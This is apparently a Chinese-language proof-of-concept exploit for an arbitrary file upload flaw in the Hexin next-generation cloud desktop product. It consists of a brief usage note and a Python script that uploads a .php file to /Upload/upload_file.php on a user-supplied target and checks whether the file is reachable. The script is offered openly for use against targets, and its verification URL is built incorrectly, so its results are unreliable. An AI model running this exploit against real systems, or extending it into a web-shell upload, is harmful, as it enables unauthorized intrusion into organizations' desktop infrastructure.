和信下一代云桌面文件上传exp

用法(python3)

针对单个ip

url案例
http://127.0.0.1:8080

import time
import requests
import urllib3

urllib3.disable_warnings()
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36',
    'Accept': 'image/avif,image/webp,image/apng,image/*,*/*;q=0.8',
    'Referer': 'http://127.0.0.1:2001/',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9,fil;q=0.8',
    'Connection': 'close',
}

target = input("请输入[http://127.0.0.1:8080]:"+'\n')
url = target +'/Upload/upload_file.php?l=1'

files={
        'file':('aa.php', 'test'),
        'Content-Disposition': 'form-data',
        'Content-Type': 'image/avif',
        }

res = requests.post(url=url, files=files, headers=headers)
test_url = url + '/Upload/1/aa.php'
test = requests.get(test_url)
if test.status_code == 200:
    print("漏洞存在")
else:
    print("漏洞不存在")